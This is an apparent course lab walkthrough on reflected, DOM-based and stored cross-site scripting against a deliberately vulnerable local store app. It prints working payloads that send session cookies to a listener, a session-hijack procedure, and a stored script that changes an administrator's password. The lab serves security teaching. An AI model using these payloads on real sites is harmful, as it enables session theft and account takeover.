Skip to main content

Cross-Site Scripting

Setup #

In order follow along with the class lecture and complete the homework, you will need node installed on your system. You can either install it inside of your VM and perform all actions in your virtual machine, or you can install directly on your host machine. For cross-site scripting, you’ll be able to perform everything within your regular web browser.

Additionally, you will need git installed in order to clone the repository down to your machine.

You will also need python installed. It is already installed on your virtual machine (note that you will need use python3 in place of python in your commands in the VM), otherwise you can install it on your host machine by following the instructions here.

After installing node, python, and git, you can clone the repository to your local machine:

git clone https://github.com/jastardev/CISC350-XSS-site.git

Navigate into the repository

cd CISC350-XSS-site

Install all the node dependencies in the project

npm install

Initialize the database

node init-db

Start the project

npm start

You can view the site by opening http://localhost:3000 in your web browser

Reflected Cross-Site Scripting #

This type of injection involves sending input to a server, which injects into the webpage before returning the entire page to the user.

This type is considered non-persistent as the exploit needs to be provided to the user on every attempt to exploit.

Think of phishing links when it comes to reflected attacks.

As an example of this type of vulnerability. Let’s look at our store website… When we search for a product, we see that the web URL is updated with the query parameter ‘search’. This makes it an excellent candidate because we could potentially send this URL to a victim.

Let’s try inserting a payload into the search bar to see if this field is vulnerable.

<script>alert(0)</script>

http://localhost:3000/?search=%3Cscript%3Ealert%280%29%3C%2Fscript%3E

reflected-xss-failed.png

Unfortunately, our payload doesn’t execute, this could be for a myriad of reason relating to filtering or sanitization when the element is being inserted. This, however, doesn’t mean the field isn’t vulnerable. Let’s try a different tag type.

<img src=x onerror='alert("XSS!")' />

http://localhost:3000/?search=%3Cimg+src=x+onerror=alert(%27XSS%27)%3E

reflected-alert-box.png

This worked! However, alert boxes aren’t very useful though, so let’s modify our payload to do something more useful.

In this scenario, we want to take an action against the user to gain additional access to the site. For example, we can try to steal their authentication token in order to log in as the user. Note that in this scenario, we’d need to get the victim this link, likely via phishing or some sort.

To prep this scenario, we’ll need to login as one of the potential users. This will generate us an authentication cookie so we actually have something to steal.

reflected-user-login.png

In dev tools, navigate to the Application tab, then the cookie section, we’ll now see the authentication cookie being stored by the browser.

reflected-user-auth-token.png

Let’s first double-check that we can read this cookie by printing the cookie to the javascript console in dev tools.

<img src=x onerror='console.log("cookie is:" + document.cookie)' />

http://localhost:3000/?search=%3Cimg+src%3Dx+onerror%3D%27console.log%28%22cookie+is%3A%22+%2B+document.cookie%29%27+%2F%3E

reflected-printing-user-token.png

Great! We can read the cookie! Now we need to send it somewhere. How would we do this?

We can use the fetch function to send this cookie to ourselves.

<img src=x onerror='fetch("http://localhost:4444/exfil?q="+document.cookie)' />

However, before sending this, we need set up our server will do the listening

python -m http.server 4444

reflected-python-listener.png

Now when we paste our payload into the search field, and hit search, we should see a request be made to our server. Ideally, we’ll want to take this a step further and urlEncode the token as well just to avoid any confusion or errors due to bad characters/etc.

We can do this encoding by wrapping it in the encodeURIComponent function

<img src=x onerror='fetch("http://localhost:4444/exfil?data="+encodeURIComponent(document.cookie))' />

reflected-captured-token.png

Great! We’ve now stolen their token!

We can use this token to login to the website as that user by opening an incognito/private browser window and visiting the site

reflected-unauthed-site.png

If we open devtools and replace the existing cookie with our URL decoded cookie (You can paste the cookie into CyberChef to decode the cookie)

reflected-replace-token.png

And then visit /dashboard again. We’ll now gain access to the dashboard!

reflected-sucessful-account-auth.png

DOM-Based Cross-Site Scripting #

DOM (Document Object Model) based cross-site scripting behaves overall very similarly to Reflected, except everything is client side, so the javascript that is processed is never sent to the server.

When reviewing the source code for the page, we’ll notice some code that appends text provided by a hash tag in the URL into an announcements field. We’ll also notice that they aren’t doing any sanitization or validation of the input being rendered. This is a prime choice for an XSS attack.

dom-source-code-review.png

Lets first double check how it works, but just appending hello world into the URL

http://localhost:3000/#msg=hello world!

# encoded
http://localhost:3000/#msg=hello%20world!

dom-initial-test.png

We can see that a box appears on the page containing the announcement that was provided in the URL.

So what happens if we add our img tag with an onerror attribute?

http://localhost:3000/#msg=%3Cimg%20src=x%20onerror=alert(0)%20/%3E

dom-initial-img-tag.png

We see that the alert box is executed

Can we read the cookie we’re trying to steal?

<img src=x onerror='alert(document.cookie)' />

http://localhost:3000/#msg=%3Cimg%20src=x%20onerror='alert(document.cookie)'%20/%3E

dom-reading-cookie-alert.png

Great! We know we can read the cookie, however, sending that cookie into an alert box isn’t super useful so instead of alert box, we’ll again replace it with the fetch command to send the cookie to ourselves.

<img src=x onerror='fetch("http://localhost:4444/exfil?data="+encodeURIComponent(document.cookie))' />

http://localhost:3000/#msg=%3Cimg%20src=x%20onerror='fetch(%22http://localhost:4444/exfil?data=%22+encodeURIComponent(document.cookie))'%20/%3E

dom-img-success.png
dom-capture-success.png

We’ve again confirmed that we can steal the cookie and send it to ourselves!

NOTE: Both DOM based XSS and Reflected XSS are not persistent methods. They are very targeted because they require the use of malicious links being passed directly to the victim.

Stored XSS #

Stored XSS involves the payload getting stored by the website and distributed to other users on the site. This could be all the individual users of the site, or specific personnel like site administrators.

On our test site, when we add a new product, we’ll see that it gets added to a queue for the administrators to review.

stored-xss-add-product.png
stored-xss-add-product-confirmation.png

If we log in as the administrator user and navigate to the review queue page, we’ll see the Microphone product we submitted.

stored-xss-product-queue-1.png

Approving it, will add it to the home page.

stored-xss-approved-product.png

So what if we wanted to target the admin user and perhaps steal their auth token?

Well, we could craft a payload that gets executed when they open the product for review. Let’s start by confirming that we can execute scripts on that product queue page.

<script>
alert("Hello world");
</script>

stored-xss-test-alert.png

Visiting the queue page as the admin user, we do infact get the alert box to show up!

stored-xss-alert-confirmed.png

Let’s click “ok” to close the alert, and then reject the product, so we don’t have to click through every time we visit the page.

This time, in our payload, we can re-use our cookie stealing code from the previous examples.

<script>
fetch("http://localhost:4444/exfil?data="+encodeURIComponent(document.cookie));
</script>

stored-xss-add-cookie-stealing-code.png

NOTE Make sure we start our listener:

python -m http.server 4444

Now submit the product and visit the queue page as the admin user.

stored-xss-visit-product-queue.png

We’ve now stolen the token of the admin user and can log in as them just as we did in the previous examples.

While we could leave it here and just use the token to login and manually take steps around the site, you’d often want to instead use this to automate actions.

<script>

function getCookieValue(name) {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(';').shift();
}

let cookie = getCookieValue("techstore-auth-token");

fetch("http://localhost:3000/auth/change-password", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "Cookie": "techstore-auth-token="+cookie // works in Node, not browsers
  },
  body: JSON.stringify({ newPassword: "password456" })
});

</script>

If we paste this into the description and submit, then login to the admin user and visit the product queue, we’ll see in the network that several network calls were made, including one to change-password.

stored-xss-automated-actions.png
stored-xss-automated-actions2.png

if we log out, and log back in using the previous credentials, we’ll be unable to authenticate.

stored-xss-changed-password-failure.png

But logging in with “password456” will let us in.

stored-xss-changed-password-success.png

Imagine now that we can get this script into the page of every user on the site. We’d be able to use this vulnerability to take over the account of every user that visits the products page.